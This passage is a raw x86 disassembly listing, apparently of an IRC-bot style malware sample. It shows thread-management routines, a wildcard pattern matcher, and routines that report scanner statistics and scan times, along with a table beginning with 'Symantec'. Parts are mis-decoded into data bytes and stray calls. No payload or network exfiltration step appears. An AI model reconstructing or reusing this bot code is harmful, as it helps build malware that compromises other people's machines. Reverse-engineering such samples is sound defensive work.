loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; ---------------------------------------------------------------------------
byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 314B8BE8h, 555E5F02h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h
dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E924[esi]
lea edi, dword_43E924[esi]
call near ptr 26D0DD3h
nop
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E918[esi]
mov dword_43E910[esi], ebx
mov dword_43E914[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E91C[esi]
mov byte ptr dword_43E710[esi], bl
mov byte_43E928[esi], bl
push dword ptr [edi]
call dword_4CBA6C
lea esi, dword_43E920[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA6C
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E710
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E914
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB914
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: ___:00401630p
; sub_401ACD+95Ep ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E910
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB910
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E910
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB910
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B661
push [ebp+arg_1C]
call sub_41C159
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C266
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C266
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BD0Bp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E924[eax], ecx
mov dword_43E910[eax], ecx
mov dword_43E914[eax], ecx
mov dword_43E918[eax], ecx
mov dword_43E91C[eax], ecx
mov dword_43E920[eax], ecx
mov byte ptr dword_43E710[eax], cl
mov byte_43E928[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431B94
push eax
xor ebx, ebx
call sub_41C266
cmp dword_4317F8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431800
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431B88
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4E0
mov ecx, dword_4CE4DC
push esi
push dword_4CB714
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4E0
lea eax, [ebp+var_200]
push dword_4CE4DC
push offset unk_431BB4
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE718
push offset unk_431BFC
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push edi
lea eax, [ebp+var_800]
push offset dword_431C48
push eax
call sub_41C266
cmp dword_4317F8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C38
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_800]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; ---------------------------------------------------------------------------
byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4CBA14
xor edi, edi
mov [ebp-8], eax
cmp dword_4317F8, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40BCC7
mov ebx, offset dword_4317F8
mov eax, ebx
loc_40BBB6: ; CODE XREF: ___:0040BCC1j
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431C98
push eax
call sub_41C266
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409869
lea eax, [ebp-3F0h]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41C266
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41C266
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40BC52
lea eax, [ebp-124h]
loc_40BC52: ; CODE XREF: ___:0040BC4Aj
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41C266
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40BCB7: ; CODE XREF: ___:0040BBC9j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: ___:0040BBA9j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431C64
push eax
call sub_41C266
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409869
lea eax, [ebp-3F0h]
push eax
call sub_415D38
push dword ptr [ebp-18h]
call sub_40B6D6
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
db 0E8h, 0E6h, 42h
; ---------------------------------------------------------------------------
xor [edx], eax
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B602
test eax, eax
pop ecx
jle short loc_40BD56
mov eax, [ebp+arg_C]
push dword_4CBB20[eax*8]
call dword_4CBA60
push eax
lea eax, [ebp+var_200]
push offset unk_431CE8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40BD69
; ---------------------------------------------------------------------------
loc_40BD56: ; CODE XREF: sub_40BD1A+13j
lea eax, [ebp+var_200]
push offset unk_431CC8
push eax
call sub_41C266
pop ecx
pop ecx
loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 18h
leave
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C263
shl eax, 6
xor ebx, ebx
cmp dword_431804[eax], ebx
jz loc_40C263
push 5
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C018
mov eax, dword_429078
push edi
mov esi, offset dword_4CDBDC
push 104h
push esi
push ebx
mov dword_4CDDEC, eax
mov dword_4CDDE8, ebx
nop
call near ptr 26B0000h
mov edi, offset byte_429108
push 103h
push edi
push offset dword_4CDCE0
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDBD8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDE70, eax
jnz short loc_40BE44
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, 1
jmp short loc_40BE5E
; ---------------------------------------------------------------------------
loc_40BE44: ; CODE XREF: sub_40BD91+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDDF0
call sub_41BFD0
add esp, 0Ch
mov dword_4CDE74, ebx
loc_40BE5E: ; CODE XREF: sub_40BD91+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDDEC
push offset unk_42C204
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CDDE4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDBD8
push offset byte_412197
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, dword_4CDDE4
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BECC
loc_40BEBA: ; CODE XREF: sub_40BD91+139j
cmp dword_4CDE78, ebx
jnz short loc_40BEE7
push 32h
call near ptr 26C04BFh
nop
jmp short loc_40BEBA
; ---------------------------------------------------------------------------
loc_40BECC: ; CODE XREF: sub_40BD91+127j
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_204]
push offset unk_431E08
push eax
call sub_41C266
add esp, 0Ch
loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj
lea eax, [ebp+var_204]
push eax
call sub_415D38
mov eax, dword_4CB710
mov esi, offset dword_4CDE84
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CE094, eax
mov dword_4CE090, ebx
nop
call near ptr 26B0000h
push 103h
push edi
push offset dword_4CDF88
call sub_41BFD0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDE80, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CE118, eax
push 7Fh
jnz short loc_40BF68
lea eax, [ebp+arg_10]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, 1
jmp short loc_40BF82
; ---------------------------------------------------------------------------
loc_40BF68: ; CODE XREF: sub_40BD91+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CE098
call sub_41BFD0
add esp, 0Ch
mov dword_4CE11C, ebx
loc_40BF82: ; CODE XREF: sub_40BD91+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CE094
push offset unk_431DD4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B3BA
add esp, 1Ch
mov dword_4CE08C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDE80
push offset word_40F3AA
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, dword_4CE08C
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40BFF0
loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj
cmp dword_4CE120, ebx
jnz short loc_40C00B
push 32h
nop
call near ptr 26C04BFh
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj
nop
call near ptr 26C0CC8h
push eax
lea eax, [ebp+var_204]
push offset unk_431DA0
push eax
call sub_41C266
add esp, 0Ch
loc_40C00B: ; CODE XREF: sub_40BD91+253j
lea eax, [ebp+var_204]
push eax
call sub_415D38
pop ecx
loc_40C018: ; CODE XREF: sub_40BD91+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43180C[ecx], ebx
jz loc_40C141
push 7
call sub_40B602
test eax, eax
pop ecx
jnz loc_40C13B
mov eax, dword_4CE710
cmp [ebp+arg_90], bl
mov dword_4CDB44, eax
mov eax, [ebp+arg_110]
mov dword_4CDB38, eax
mov eax, [ebp+arg_138]
mov dword_4CDB40, ebx
mov dword_4CDBC8, eax
push 7Fh
jnz short loc_40C08C
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
mov dword_4CDBCC, 1
jmp short loc_40C0A6
; ---------------------------------------------------------------------------
loc_40C08C: ; CODE XREF: sub_40BD91+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDB48
call sub_41BFD0
add esp, 0Ch
